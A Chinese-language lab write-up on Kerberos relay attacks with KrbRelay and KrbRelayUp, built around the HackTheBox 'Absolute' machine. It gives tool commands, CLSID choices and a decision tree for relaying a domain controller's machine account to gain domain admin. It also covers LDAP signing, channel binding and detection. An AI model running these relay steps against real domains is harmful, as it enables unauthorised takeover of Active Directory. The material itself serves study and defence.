KrbRelay Kerberos 中继实战

KrbRelay Kerberos 中继实战

关联:强制认证攻击 | Protected Users 组与密码修改限制 | gMSA密码读取
战例:HTB Absolute(Insane)——中继 DC$ 身份拿域控权限


1. 本质

Kerberos 中继 = 把抓到的 AP-REQ 原样重放到另一个服务,冒充票据的客户端身份。

三个关键性质:

  1. TGS 票据只含 SPN,不含 IP / 通道信息 —— 认证请求发到哪台机器,协议不关心,抓到就能重放。
  2. 防重放是”每服务”级别的 —— replay cache 由各服务各自维护,中继到 LDAP 时 LDAP 的缓存里没有该条目,直接放行。
  3. LDAP 的 GSSAPI 绑定默认不强制签名/密封 —— 除非域策略开启 “LDAP server signing requirements”,否则抓来的 AP-REQ 可以直接完成绑定。

攻击链全景

强制认证触发(DCOM/CLSID)
  → 目标机器账户/用户主动向攻击者认证
  → 抓到 AP-REQ(ticket 目标 = ldap/dc.xxx)
  → 中继到 DC 的 389 端口(GSS-SPNEGO bind)
  → LDAP session established(绑定身份 = 票据客户端)
  → 以该身份执行 LDAP 写操作(加组 / RBCD / shadowcred / 改密码)

2. 中继身份由什么决定(最重要的决策)

身份 = 触发认证的主体,由三件事拼起来:

因素决定说明
CLSID 类型机器账户 vs 会话用户SYSTEM 服务 CLSID → 机器账户;跨会话 CLSID → 会话用户
运行位置哪台机器的机器账户在 DC 上跑 = DC$(域管级);普通机器 = 低权限机器账户
-session N哪个会话的用户仅跨会话模式有效

关键:Relaying context: absolute.htb\DC$ 显示的是票据 SPN 的目标主机,不是客户端身份(authenticator 加密,cname 读不到)。别被这行骗了,身份以实际操作为准(或查 4769)。

3. 前置条件

条件检查方法
LDAP 未强制签名中继 bind 能成功即证明(bind: 0 + LDAP_SUCCESS
时间同步(±5min)sudo ntpdate -u dc.absolute.htb
交互式会话/凭据上下文WinRM 下直接跑报 Access Denied,用 RunAsCs 包装
MachineAccountQuota(加机器账户时才需要)([adsi]"LDAP://DC=absolute,DC=htb").psbase.Properties["ms-DS-MachineAccountQuota"]

4. 工具链

4.1 KrbRelay(cube0x0)—— 支持自定义 LDAP 操作

KrbRelay.exe -spn ldap/dc.absolute.htb -clsid <CLSID> [-port N] <操作>
操作说明
-add-groupmember <组> <用户>加组成员(组名含空格需引号)
-reset-password <用户> <密码>重置密码(需目标对象 unicodePwd 写权限
-rbcd <攻击者机器账户SID>写 RBCD(Trustee = 攻击者机器账户 SID,不是中继主体的)
-shadowcred [目标]写 msDS-KeyCredentialLink(默认目标 = 中继身份)
-laps / -gmsa读 LAPS / gMSA 密码
-console中继成功后进交互式 LDAP shell

4.2 KrbRelayUp(Dec0ne)—— 自动化本机提权

KrbRelayUp.exe relay -d <域> -cn <机器账户名> -cp <密码> [-c] [-m rbcd|shadowcred]
KrbRelayUp.exe spawn -d <域> -cn <机器账户名> -cp <密码> -i administrator [-sc "命令"]
  • -c 自动创建机器账户(配额 0 时会失败
  • -m shadowcred 不需要机器账户 —— 配额 0 时用这个
  • 触发本机机器账户认证(默认 CLSID 90f18417)

4.3 RunAsCs(非交互会话包装)

WinRM / PS remoting 下 KrbRelay 触发会报 Access Denied(无交互凭据上下文)。用 RunAsCs 包装,密码随便填(LogonType 9 = NewCredentials,不校验;网络认证走已注入的 TGT):

.\runascs.exe <用户> <假密码> -d <域> -l 9 "<目标命令>"

5. CLSID 方法论(枚举 → 筛选 → 实测)

5.1 枚举

# CandyPotato(服务 CLSID 列表)
CandyPotato.exe -Q

# OleViewDotNet(Get-ComClass 不需要 dbghelp,Get-ComProcess 才需要)
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
(Get-ComClass).clsid

# 纯注册表:svchost 托管的 COM 类
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" | ForEach-Object {
    $ls = Get-ItemProperty "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue
    if ($ls -and $ls.'(default)' -match 'svchost') {
        [PSCustomObject]@{ CLSID = $_.PSChildName; Server = $ls.'(default)' }
    }
} | Format-Table -AutoSize

5.2 筛选标准

  • User = SYSTEM / NetworkService → 机器账户认证
  • ImpLevel = Impersonate/Delegate → 可中继 SMB;仅 Identify → 只能 LDAP
  • AuthnLevel = Connect
  • 服务进程在运行

5.3 实测验证(一锤定音)

跑一次 KrbRelay 后,在 DC 上查 4769 的 Client 字段

Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 50 |
  Where-Object {$_.Message -match 'ldap'} |
  Select TimeCreated, @{n='Client';e={$_.Properties[0].Value}}

Client = DC$ → 机器账户 ✅;用户名 → 跨会话 ❌

5.4 常用 CLSID

CLSID来源类型
8F5DF053-3013-4dd8-B5F4-88214E81C0CFTrustedInstallerSYSTEM ✅
90F18417-F0F1-484E-9D3C-59DCEEE5DBD8DCOM(KrbRelay 默认)SYSTEM/IMPERSONATE
0BAE55FC-479F-45C2-972E-E951BE72C0C1DCOMSYSTEM/IDENTIFY
854A20FB-2D44-457D-992F-EF13785D2B51PrintNotify(PrintSpoofer)SYSTEM
DF1941C5-FE89-4EB9-9E86-6CA84A2DBF2AEFS(EfsPotato)SYSTEM
03CA98D6-FF5D-49B8-ABC6-03DD84127020BITS(CandyPotato 标注)跨会话 ⚠️
354FF91B-5E49-4BDC-A8E6-1CB6C6877182跨会话(README)跨会话 ⚠️

⚠️ CandyPotato 标注的服务名不可全信(03ca98d6 标 BITS 实为跨会话),以实测为准。

失败错误码:0x800706BA RPC 不可用(端口/OXID)| 0x80080004 CLSID 无效 | 0x80070422 服务禁用 | 0x800706D3 认证服务未知

6. 验证与收尾

# 组是否加入(LDAP 直查最准,net user 在 DC 上可能列不全)
([adsi]"LDAP://CN=Administrators,CN=Builtin,DC=absolute,DC=htb").member
([adsi]"LDAP://CN=winrm_user,CN=Users,DC=absolute,DC=htb").memberOf

# 加组后必须重新登录(token 才带新组)
exit → 重新 evil-winrm → whoami /groups

# RBCD 是否写入
Get-DomainComputer <机器> -Properties msds-allowedtoactonbehalfofotheridentity

7. 踩坑记录(Absolute 实战)

  1. add-groupmember 报 LDAP_SUCCESS 但没生效 —— 部分 KrbRelay 二进制该功能有 bug(写歪对象)。以 LDAP 查询为准,别信返回码。
  2. -reset-password administratorLDAP_UNWILLING_TO_PERFORM —— DC$ 对用户对象没有 unicodePwd 写权限(只授予 SELF/域管/SYSTEM)。中继是 DC$ ≠ 万能,每个对象 ACL 不同。
  3. DC$ 能改 BUILTIN\Administrators,改不了用户密码 —— 内置组 ACL 和用户对象 ACL 不同。
  4. -add-groupmember DOMAIN ADMINS winrm_user 报错 —— 参数按空格分割(源码 Regex),组名带空格必须用引号;且 Domain Admins 全局组 DC$ 也不一定有权限。
  5. -session 1 跨会话触发 → 中继身份是会话用户(如 winrm_user)→ 加组 53。要 DC$ 身份必须无 -session + SYSTEM 服务 CLSID。
  6. KrbRelayUp 加机器账户失败(server cannot handle directory requests —— MachineAccountQuota=0。-m shadowcred 绕过(不需要机器账户)。
  7. qwinsta 只是诊断工具(验证是否交互会话),不是选触发目标的手段。
  8. 改密码/加组后要重新登录,当前会话 token 不刷新。
  9. LDAP 加组成功 ≠ 立即生效:域控上 Builtin 组是域本地组,net user /domain 可能显示不全,用 LDAP 直查。

8. 决策速查

目标是"域管权限"?
├─ 在 DC 上(WinRM)→ KrbRelay 无 -session + TrustedInstaller CLSID → 中继 DC$
│   ├─ 加 BUILTIN\Administrators ✅(DC$ 有权限)
│   ├─ 改用户密码 ❌(无权限)→ 换 shadowcred 或加组
│   └─ add-groupmember 不生效(bug)→ 换 KrbRelayUp shadowcred
├─ 在普通机器 → KrbRelayUp relay -m shadowcred → 本机 SYSTEM → 横向
└─ 无机器账户配额 → shadowcred 路线(写 KeyCredentialLink,SELF 权限)

目标是"本机 SYSTEM"?
└─ KrbRelayUp relay -m shadowcred + spawn(自动 S4U + 建服务)

9. 防御(按攻击链环节)

9.1 LDAP 签名要求(最直接,堵死 LDAP relay)

GPO:计算机配置 → 策略 → Windows 设置 → 安全设置 → 本地策略 → 安全选项
  "域控制器: LDAP 服务器签名要求" → 要求签名
  "域控制器: LDAP 服务器通道绑定令牌要求" → 始终

# 注册表等效(DC 上)
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
  LDAPServerIntegrity = 2        # 要求签名
  LdapEnforceChannelBinding = 2  # 始终要求通道绑定

原理:强制 GSSAPI 绑定使用完整性/签名服务后,中继者能重放 AP-REQ,但没有会话密钥无法完成签名 → bind 失败。KrbRelayUp 的攻击前提就是 “LDAP signing is not enforced (the default settings)”——默认不强制所以能打。

9.2 通道绑定(更强,TLS 层)

LDAP over TLS 时把连接绑定到证书通道(CVE-2019-1040 同款思路),中继的 TLS 通道与原认证通道不一致 → 拒绝。与 9.1 一起开。

9.3 EPA(针对 ADCS / HTTP relay)

KrbRelayUp 的 ADCS 模式打的就是 “ADCS Web Enrollment 未开 EPA”。IIS 站点开 EPA + 强制 TLS 即可堵死。

9.4 配额

ms-DS-MachineAccountQuota = 0    # 堵"加机器账户"(RBCD 前置)

⚠️ Protected Users / “sensitive and cannot be delegated” 不是有效防御 —— KrbRelayUp 通过 S4U2Self abuse 绕过(README 原文)。别把宝押在这。

9.5 监控检测(预防堵不完,检测最重要)

# 4769:S4U2Proxy 请求(AllowedToActOnBehalfOfOtherIdentity = True)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 200 |
  Where {$_.Message -match 'AllowedToActOnBehalfOfOtherIdentity'} |
  Select TimeCreated, @{n='Client';e={$_.Properties[0].Value}}

# 5136:目录对象修改(RBCD / KeyCredentialLink / 组 member 变更)
Get-WinEvent -FilterHashtable @{LogName='Security';Id=5136} -MaxEvents 200

# 7045 / 4697:非预期服务创建(SCM 提权阶段)

9.6 防御有效性排序

防御效果
LDAP 签名要求⭐⭐⭐ 直接杀死 LDAP relay
LDAP 通道绑定⭐⭐⭐ 更硬(TLS 层)
MachineAccountQuota=0⭐⭐ 堵 RBCD 前置
EPA(ADCS)⭐⭐ 堵 ADCS relay
Protected Users⭐ 被 S4U2Self 绕过,别依赖

为什么默认不强制签名?兼容性——老应用/非 Windows 客户端不支持签名的 LDAP 绑定,强制会炸业务。这是 KrbRelay 这类攻击至今能打的根本原因。

10. 快速排查(攻击成本 vs 排查成本)

攻防不对称:攻击者上传工具 → 30 秒实测一次(LDAP session established?)→ 不行就换机器换路,只需要一个洞;蓝队要查 GPO × 每台 DC × 通道绑定 × 配额 × 监控调优 × 兼容性评估,按天算。所以防御重心放在检测而非预防。

10.1 一键自查脚本(需 DC 管理员)

$p = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
$sig   = (Get-ItemProperty $p -Name LDAPServerIntegrity -ErrorAction SilentlyContinue).LDAPServerIntegrity
$cb    = (Get-ItemProperty $p -Name LdapEnforceChannelBinding -ErrorAction SilentlyContinue).LdapEnforceChannelBinding
$quota = ([adsi]"LDAP://DC=absolute,DC=htb").psbase.Properties["ms-DS-MachineAccountQuota"]

"LDAP签名   : $(if($sig -eq 2){'✅ 强制'}else{'❌ 未强制 → KrbRelay 可打'})"
"通道绑定   : $(if($cb -eq 2){'✅ 强制'}else{'❌ 未强制'})"
"机器账户配额: $quota $(if($quota -eq 0){'✅ 已封'}else{'❌ 可加机器账户'})"
"Protected Users 成员: $((Get-ADGroupMember 'Protected Users' -ErrorAction SilentlyContinue).Count) 人"

10.2 黑盒实测(零权限,攻击者视角)

# 不带 -Z = 不请求签名;绑定成功 → 未强制签名(可中继);报 strong(er) auth required → 强制
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb" -s base ""

10.3 读 GPO(SYSVOL 普通用户可读)

Get-ChildItem "\\absolute.htb\SYSVOL\absolute.htb\Policies" -Recurse -Filter "GptTmpl.inf" |
  ForEach-Object {
    $c = Get-Content $_.FullName
    if ($c -match 'LDAPServerIntegrity|LdapEnforceChannelBinding') { $_.FullName }
  }

10.4 注册表权限说明

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 默认只允许 SYSTEM + Administrators 读取,普通用户 reg query = Access denied(含数据库路径/服务账户等敏感配置,设计如此)。攻击者判断环境通常走 10.2 黑盒实测,不读注册表。

10.5 自动化扫描

  • PingCastle(免费):HTML 报告,标红 “LDAP Signing not enforced” / MachineAccountQuota 等风险项
  • Purple Knight:防御基线检查
  • 建议放进例行巡检(月扫),而不是等事件响应再查

文末附加内容

评论

本文评论已关闭
上一篇
下一篇